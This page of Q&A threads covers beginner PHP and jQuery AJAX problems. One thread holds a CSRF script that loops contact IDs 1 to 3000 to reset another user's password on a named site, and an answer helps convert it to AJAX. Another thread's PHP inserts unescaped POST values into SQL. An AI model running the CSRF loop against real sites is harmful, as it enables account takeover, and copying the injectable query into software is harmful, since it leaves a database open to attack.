This is my first time posting to this site so I hope this is a good question. I've tried my best to google and watch videos but I cant seem to get my code to work as I am a novice with web dev as a whole.
So, basically I made a basic website that is meant to turn my lights on and off via an apache server on my Raspberry PI, however I cant seem to get the php code to execute when I use a slider/checkbox but when I use a normal button for 'on' and 'off' respectively the php code runs fine.
</head>
<body>
<center><h1>on or off... yes this is all it does</h1>
<form method="get" action="index.php">
<input type="submit" style = "font-size: 14 pt" value="OFF" name="off">
<input type="submit" style = "font-size: 14 pt" value="ON" name="on">
</form>
</centre>
<?php
shell_exec("/usr/local/bin/gpio -g mode 17 out");
if(isset($_GET['off']))
{
echo "Light is off";
shell_exec("/usr/local/bin/gpio -g write 17 0");
}
else if(isset($_GET['on']))
{
echo "Light is on";
shell_exec("/usr/local/bin/gpio -g write 17 1");
}
?>
This code runs fine and I can turn the lights on and off with no problems, however...
<div class="colomn">
<div class="main-switch">
<h1>Main Terminal</h1>
<form action="index.php" method="post">
<label class="switch">
<input type="checkbox" name="checkbox_name" id="switch1" value="OFF" onclick=lights()></input>
<span class="slider"></span>
</label>
</form>
<?php
shell_exec("/usr/local/bin/gpio -g mode 17 out");
if(isset($_POST['checkbox_name'])&& $_POST['checkbox_name']=='OFF')
{
echo "Light is off";
shell_exec("/usr/local/bin/gpio -g write 17 0");
}
else
{
echo "Light is on";
shell_exec("/usr/local/bin/gpio -g write 17 1");
}
?>
This code does not seem to work at all.
It will always seem to default to the else statement regardless of the value of the checkbox. The onclick function I call is to change the checkbox value to ON and OFF respectively based on it's position and when I print it in the console these values are changing. I'm pretty sure it's the garbage php I wrote as I am a complete novice with websites as a whole.
As you can see I also tried a few things in the second portion of the code, I tried changing the method to post and using some other code I found online but it didn't work. I tried a lot other things like ajax query and other variations of the code above but they also did the same thing and didn't run.
I am aware it is my lackluster knowledge on php but after a lot of googling and videos I couldn't understand why it wasn't working. So if anybody could just help me in the right direction I'd appreciate it.
edit:Javascript code
function lights(){
var toggle = document.getElementById('switch1');
if(toggle.checked){
toggle.value="ON";
console.log(toggle.value);
}else{
toggle.value="OFF";
console.log(toggle.value);
}
}
Workaround using a hidden field
The value of the checkbox is sent only when the checkbox is checked. To force a default value being sent you can use a workaround where you use a hidden field with the same name, but having the "OFF" value:
<input type="hidden" name="checkbox_name" value="OFF"></input>
<input type="checkbox" name="checkbox_name" id="switch1" value="ON"></input>
If the checkbox remains unchecked the hidden value is used.
This works because POST requests which have multiple values for one name are processed so that the last given value is what $_POST will contain.
You build the form in a way that the hidden field comes first, give it the same name as the checkbox and validate the form accordingly.
Keep in mind you still have to validate since it is data coming from the browser, which cannot be trusted (someone can change the value of the hidden field using the browser's developer tools).
Method using Ajax
update:
I got it to work!
I had to scour the internet for a few hours but I managed to implement an ajax request in my javascript function which turns the lights on and off without refreshing the page
function lights(){
var toggle = document.getElementById('switch1');
if(toggle.checked){
toggle.value="1";
$.ajax({
type: "POST",
url: 'index.php',
data: {checkbox_name: $('input:checkbox:checked').val()},
success: function(data) {
},
error: function() {
alert('it broke');
},
});
console.log(toggle.value);
}else{
toggle.value="0";
$.ajax({
type: "POST",
url: 'index.php',
data: {checkbox_name: $('input:checkbox:checked').val()},
success: function(data) {
},
error: function() {
alert('it broke');
},
});
console.log(toggle.value);
}
}
I changed the PHP abit too
<?php
$checkbox = intval($_POST['checkbox_name']);
shell_exec("/usr/local/bin/gpio -g mode 17 out");
if($checkbox==1)
{
echo "Light is on";
shell_exec("/usr/local/bin/gpio -g write 17 1");
}
else
{
echo "Light is off";
shell_exec("/usr/local/bin/gpio -g write 17 0");
}
?>
I changed the values from a "ON" and "OFF" to a 0 and 1 but otherwise the rest of the code was the same
Related
I cant get the data from my jquery to php file. I have tried multiple solutions, i dont get any errors but the data is not showing up on my database. This is the first time using ajax. I need an external php submit code, becouse if i include the php code on my index.php the values are remembered and they get submited when I refresh the page. Thanks in advance.
This is my html
<form class="form-inline" method="post" >
<div id="div_id_value" class="form-group">
<input class="numberinput form-control"
id="value" name="value"
placeholder="Value (mmol/L)"
required="True" type="number" step="any" min="0"/>
</div>
<div id="div_id_category" class="form-group">
<select id="id_category" name="category">
<option value="Breakfast">Breakfast</option>
<option value="Lunch" >Lunch</option>
<option value="Dinner">Dinner</option>
<option value="Snack">Snack</option>
<option value="Bedtime">Bedtime</option>
<option value="No Category" selected="selected">No Category</option>
</select>
</div>
<input type="submit" name="submit" value="Quick Add" id="quick">
</form>
This is my jquery
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js">
$("#quick").click(function() {
var sugar2 = $("#value").val();
var category2 = $("#category").val();
$.ajax({
type:'POST',
url:'quick.php',
data:{ 'sugar': sugar2, 'category':category2},
dataType:'json',
success: function(output) {
alert(output);
};
});
});
and this is my php
<?php
session_start();
include 'conn.php';
if (isset($_POST['sugar'])) {
$sugar = $_POST['sugar'];
$category = $_POST['category'];
$email= $_SESSION['email'];
$query = "INSERT INTO data (email, sugar, category)
VALUES($email, $sugar, $category )";
if(mysqli_query($link, $query)) {
header("Location: index.php");
};
};
?>
Quite a few things you could update here. First, it will be tough for anyone here to debug why the data is not in your database. That could be a connection error, setup error, etc. You will need to provide error information in order for us to help. With that being said...
First thing, I would tie into the submit event instead of the click event. The click event will not account for users pressing enter on the input field. The submit event will catch both clicking the submit button, as well as submitting the form via the enter key.
$("#quick").submit(function(evt) { ... });
//or
$("#quick").on('submit', function(evt) { ... });
Next, your AJAX call. You specify the dataType parameter. According to the documentation, this is to tell jQuery what you expect back from the server. Not what you are sending to the server. So in your case, you should be sending JSON back to your AJAX success function, which you are not. I would remove the dataType parameter, as it is not required.
Finally, the success function expects a response. In your PHP file, you are attempting to redirect the user, which will not work here. You need to return a response to the AJAX function. This would be a great opportunity to check for errors, or even simply debug your code an ensure it is working as expected. So perhaps something like this,
<?php
session_start();
include 'conn.php';
if (isset($_POST['sugar'])) {
$sugar = $_POST['sugar'];
$category = $_POST['category'];
$email= $_SESSION['email'];
$query = "INSERT INTO data (email, sugar, category)
VALUES($email, $sugar, $category )";
//save the output of the result
$result = mysqli_query($link, $query);
//according to the docs, mysqli_query() will return false on failure
//check for false
if( $result === false ) {
//the query failed
//provide a response to the AJAX success function
echo "Query failed. Check the logs to understand why, or try enabling error reporting.";
}else {
//the query worked!
echo 'All good!'; //provide a response to the AJAX success function
}
//Kill PHP. Good idea with an AJAX request.
exit;
}
Again, this may not solve your issue, but hopefully gets you moving in the right direction.
you have to return a response from you php script to the ajax, this would be in json or other format else, but i see in your code that you do not echo nothing in the php.
But your ajax part it is specting something to put in yor output variable and make an alert.
Try to make you php to
<?php
echo "my response";
?>
if you see your alert box that mean your problem is some php error, like conection or syntax .
In order to explain what I am trying to accomplish, here are some facts:
www.testsite.com is not CSRF protected and it is possible for an attacker to change the password of a victim if he knows the e-mail of the victim and his unique contactid.
Every new users gains a new ID by simply auto incrementing with 1. There are only 3000 contactIDs right now; so that means 1,2,3,4,5,6 --> 3000.
If an attackers knows the e-mail of a victim, he can simply keep guessing contactIDs (maximal of 3000) and then he can change it. I want to do this automatically.
- I am trying to create a PHP script to learn more about code and to show how simple this is. I am not a malicious hacker or anything close.
So I figured that I could just use a loop that auto increments contactIDs and then posts the data to the www.testsite.com. The problem is, it does not send all the POST requests (with contactID=1 and another one with contactID=2 etc)... Here is my code:
<?php
echo "I set the password to 'stackoverflow'. <br/>";
$mailadres = 1; //startvalue to remove that undefined index php error.
if (isset($_GET['mailadres'])){ //i hate undefined errors
$mailadres = $_GET['mailadres'];
}
if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET
echo "usage: ./csrf.php?mailadres=victim#gmail.com <br/>";
}
$contactid = 1; //We begin with one....
while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment.
echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'>
<input type='hidden' name='contactid' value='{$contactid}'>
<input type='hidden' name='something' value='something'>
<input type='hidden' name='mailadres'' value='{$mailadres}'>
<input type='hidden' name='changepassword' value='stackoverflow'>
</form>
<script>document.csrf.submit();</script>";
$contactid ++; //increment in order to post every contactID.
}
?>
My question is: How do I make PHP submit all these forms (contactid=1 & contactid=2)
Firstly you need to get rid of the action, method etc in the form. Let it be simple like below:
<form id="form1">
.....
</form>
Then you need to give if for elements, give same name given as in 'name'. For example see like
<input type='hidden' name='contactid' id='contactid' value='{$contactid}'>
Then have a button with onClick() and trigger a function, like
<button id="button1" onclick="postData()">PostData</button>
then have a function like this
function postData(d1, d2, d3, d4) {
$.ajax({
url: 'http://www.testsite.com/submit.php',
data: {
data1: d1,
data2: d2,
data3: d3,
data4: d4
},
type: 'POST',
success: function(result) {
//code for success
},
error: function(jqXHR, textStatus, errorThrown) {
//code in case of error
}
});
}
Whenever the button click occurs, you the data will be automatically posted to the given url.
Hope this helps.
I am a new user of ajax; so...
I am using ajax on a simple html page to access a php script to receive data, calculate results using data in an mysql table, and echo results in a div on the same page. My javascript statement to do this is:
$.post('ajax/phpscript.php', {
postuser:theuser,
postname:uans1
}, function(data) {
$('#outputdiv1').html(data);
}
);
The php echo output goes to a div on the main page called outputdiv1.
I got that part; no problem. Not sure exactly how it works, but it does work.
I would also like to echo output to a different div (which I will call outputdiv2) on the same page, using the php script. In my php script, How do I refer to or echo output this other div?
I guess I could have a second $.post statement in the javascript code, accessing a second php script. But that would force me to access the mysql database a second time. Doesn't seem efficient to me.
Is there a better way to do this?
Thanks.
HTML code is here:
theuser is defined earlier
<table width=400 align=center><tr><td>
There is a question here, with 2 possible answers:<p>
<form>
<input type=radio style="width:22px; height:22px" name="ques1" id="opt1" value="answer 1" onclick="post1()"> answer 1<br>
<input type=radio style="width:22px; height:22px" name="ques1" id="opt2" value="answer 2" onclick="post1()"> answer 2<br>
</form>
<div id="outdiv1">first response from php will go here, beneath the question.<br></div>
<script type="text/javascript">
function post1() {
var uans1 = "none"
if (document.getElementById("opt2").checked) {
uans1 = "answer 2"
}
if (document.getElementById("opt1").checked) {
uans1 = "answer 1"
}
$.post('ajax/phpscript.php',{postuser:theuser,postname:uans1}, function(data) {$('#ans1div').html(data);});
}
</script>
</td>
<td width=20%>
<div id="outputdiv2">
second response from php will go here, to the right of the question.<p>
</div>
</td>
</tr></table>
first response will not be the same as the second response.
You could use JSON to communicate and return an array. something like this in js
$.ajax({
url: 'ajax/phpscript.php',
method: 'POST',
data: {
postuser: theuser,
postname: uans1
},
dataType: 'JSON'
}).done(function(data) {
if ($.isArray(data)) {
$('#outputdiv1').html(data[0]);
$('#outputdiv2').html(data[1]);
}
});
And your php script should do something look like this
<?php
include('dbconnection.php');
$result = [];
//SELECT data for div1 (part you already have)
$result[] = $mysql_result_as_html_for_outputdiv_1; // In your case this would be a html string
//SELECT other data for div2
$result[] = $mysql_result_as_html_for_outputdiv_2; // In your case this would be a html string
header('Content-Type: application/json');
echo json_encode($result);
?>
An even more clean solution would be to just return the data as objects from php and make some templates in js suitable for your data.
You need to understand this: who write in the div is javascript, not php, cause you are using ajax. Ajax is a way to comunicate with php, and give a response. Now you need to handle this response with javascript.
If you want to put the same content in outputdiv1 and outputdiv2, you not need to post ajax again, only write it in two divs.
$.post('ajax/phpscript.php',{postuser:theuser,postname:uans1}, function(data) {$('#outputdiv1').html(data);$('#outputdiv2').html(data);});
if you want different data i suggest you think the system to get all result that you need in one post request and return it in a json format (see http://php.net/manual/es/function.json-encode.php), so you can handle better with JSON.parse() in client side.
I am using a autocomplete
http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/
And below i have two pages index.php and ajx_page.php
index.php
<form name="send_coup_ajx_form" id="send_coup_ajx_form" method="post">
<select name="member_type" id="member_type">
<option value="customer_type">Customer</option>
<option value="BPartner_type">Business Partner</option>
</select>
<input type="text" name="sel_rad" id="resultant_text" />
<input type="submit" name="submit" value="go" />
</form>
<script type="text/javascript">
$(document).ready(function(){
$("#resultant_text").autocomplete("ajx_page.php", {
width: 260,
matchContains: true,
//mustMatch: true,
//minChars: 0,
//multiple: true,
//highlight: false,
//multipleSeparator: ",",
selectFirst: false
});
});
</script>
And below code for
ajx_page.php
<?php
$select_type = $_GET['member_type'];
$type = $_GET['sel_rad'];
?>
when i type in the textbox, it gives me an error as
Notice: Undefined index: member_type in ajx_page.php on line 2
That means member_type is not going in that page..
And when i comment all this code and put the below code in ajx_page.php
<?php
echo "Name1\n";
echo "Name2\n";
echo "Name3\n"
?>
It displaying autocomplete feature list. but when i want to get the value of that object member_type it is saying an error..
so how do i pass additional values using this autocomplete plugin
I have added an Image to overwriting problem to #veeTrain
I'm not sure if the autocomplete plugin is intended to handle this type of scenario or not.
However, if you want to manually pass these values into your php script, then it would be pretty simple (at least in this scenario where you are only trying to send two fields in).
var memberType = $("#member_type>option:selected").val();
var selRad = $("#resultant_text").val();
$("#resultant_text").autocomplete("ajx_page.php?member_type="+memberType+"&sel_rad="+selRad, {
//...
But this probably isn't the answer answer you're looking for.
Update: I'm glad that syntax for sending the values is working for you.
It looks like you have overlapping ids being printed out -- is that what you mean by 'bold'? Apparently you aren't using the correct delimiter for creating a second auto-complete suggestion. I'm not sure what the autocomplete handler is wanting to delineate between items. Undefined is probably showing up because one of your items couldn't be found. You should use your browser's Developer Tools to debug what is getting sent.
Also, if you wanted the option's text rather than the value then you'll need to access the .text() rather than the .val() of the select drop down.
Update: This post might have something to say about what autocomplete is expecting.
I think to pass in additional parameter for bassistance's autocomplete, the only way is to modify the autocomplete.js file. I did something similar before, but the method is quite hardcoding. Posted below for your reference (it's around line 376):
$.ajax({
// try to leverage ajaxQueue plugin to abort previous requests
mode: "abort",
// limit abortion to this input
port: "autocomplete" + input.name,
dataType: options.dataType,
url: options.url,
data: $.extend({
member_type: ($("#member_type").length != 1)?$("#member_type").val():-1,
q: lastWord(term),
limit: options.max
}, extraParams),
success: function(data) {
var parsed = options.parse && options.parse(data) || parse(data);
cache.add(term, parsed);
success(term, parsed);
}
});
I only added one line to the original code, at line 10: member_type: ....
Take note that I pass in "-1" if the object is not found on that page to prevent javascript error.
Hope it helps!
Sorry in advance everyone for this question as I know the cascading select boxes has been done to death but I can't seem to find any good help. I've tried various things but it all seems to fail and I'm not understanding why.
Here's the jquery I have currently:
function tester() {
$("select#type").attr('disabled', 'disabled');
$("select#cat").change(function(){
var vid = $("select#cat option:selected").attr('value');
var request = $.ajax({
url: "show_type.php",
type: "POST",
data: {id : vid}
});
request.done(function(msg) {
$("#result").html( msg );
});
request.fail(function(jqXHR, textStatus) {
alert( "Request failed: " + textStatus );
});
});
}
Don't mind the first section of the code with the select#type and select#cat as these are for what I was trying to get the code to populate at first, however the .change is my trigger for the .ajax request. The rest of the code I'm merely trying to dump a simple return message into an empty div#result upon a successful ajax request.
I ran a test, and the var vid populates correctly.
Here's the simple PHP file I'm trying to call with the ajax:
<?php
$requ;
if (isset($_POST['id'])) {
$requ = 'Worked';
} else {
$requ = "didn't work";
}
echo $requ;
?>
I thought perhaps the problem was the id wasn't being passed properly so I altered the PHP script to give me any valid output regardless of whether the $_POST was set or not.
I won't post the HTML as I'm just trying to dump this all into a div while I test it. When I run the script I get the 'Request Failed' error message with a message of "error".
Here is the other jquery & PHP I have also tried, using the .post instead of the .ajax:
function tester() {
$("select#type").attr('disabled', 'disabled');
$("select#cat").change(function(){
$("select#type").html("<option>wait...</option>");
var vid = $("select#cat option:selected").attr('value');
$.post("show_type.php", {id:vid}, function(data){
$("#result").empty().append(data);
}, "json");
});
}
And the PHP to accompany this particular jquery:
$requ = $_POST['id'];
$ret = 'You selected: ' . $requ;
echo json_encode($ret);
Again, it all failed. I also tried the above code without using the json encoding/parameters. All I want to do is a simple (so I would think) cascading select dropboxes. The second box to be dependent of the first boxes selection. I'm beginning to think that this all just may not be worth it and just sticking strictly to PHP with links to resubmit the page with a GET and populate a new section or div with the results of the first click. Any help or suggestions you might have would be greatly appreciated, I've spent 2 solid days trying to figure this all out. Thanks in advance
Alright, I got it fixed. Thanks to Mian_Khurram_ljaz for making me take a different look at the hierarchical structure of the file. I was assuming that since the js was calling the php file, by placing the php file in the same folder as the js, I could call the php by using the url: show_type.php but that was actually wrong. The structure is considered from the actual page invoking the js and php, and therefore the url should have been js/show_type.php since I had the show_type.php file in my js folder.
It's always the little mistakes that take you days to figure. For those in the future looking to find decent code for cascading select drop boxes, here is my functioning and fully expanded code (which also includes a tri-level cascade)
jQuery:
function project() {
$("select#model2").attr('disabled', 'disabled');
$("select#brand2").attr('disabled', 'disabled');
$("select#project").change(function(){
$("select#model2").attr('disabled', 'disabled'); // if changed after last element has been selected, will reset last boxes choice to default
$("select#model2").html('<option selected="selected">Choose...</option>');
$("select#brand2").html("<option>Please wait...</option>");
var pid = $("select#project option:selected").attr('value');
$.post("handler/project.php", {id:pid}, function(data){
$("select#brand2").removeAttr("disabled");
$("select#brand2").html(data);
});
});
$("select#brand2").change(function(){
$("select#model2").html("<option>Please wait...</option>");
var bid = $("select#brand2 option:selected").attr('value');
var pid = $("select#project option:selected").attr('value');
$.post("handler/projBrand.php", {proj: pid, bran: bid}, function(data){
$("select#model2").removeAttr("disabled");
$("select#model2").html(data);
});
});
}
Just call the function in the $(document).ready of your js.
Notice the comment, having this 'redundant' call to disable and force the last box to select the default is just in case the user makes a selection in all 3 boxes but goes back to the first box and changes the selection.
Here is the php handler file:
<?php
include_once('../includes/file.inc');
$request = $opt -> getModelvBrand();
echo $request;
?>
The other handler file for the jQuery is nearly exactly the same, only invoking a different method in the class file.
And lastly, the HTML:
<form action="" method="post">
<select id="project">
<option value="0">Choose...</option>
<?php echo $opt -> getProject();?> //populates first box on page load
</select>
<select id="brand2">
<option value="0">Choose...</option>
</select>
<select id="model2">
<option value="0">Choose...</option>
</select>
<br /><br />
<input class="like-button" type="submit" title="Submit" value="" />
</form>
Thanks again Mian for making me take a different look at my file(s).
Hope this code helps someone else in the near future.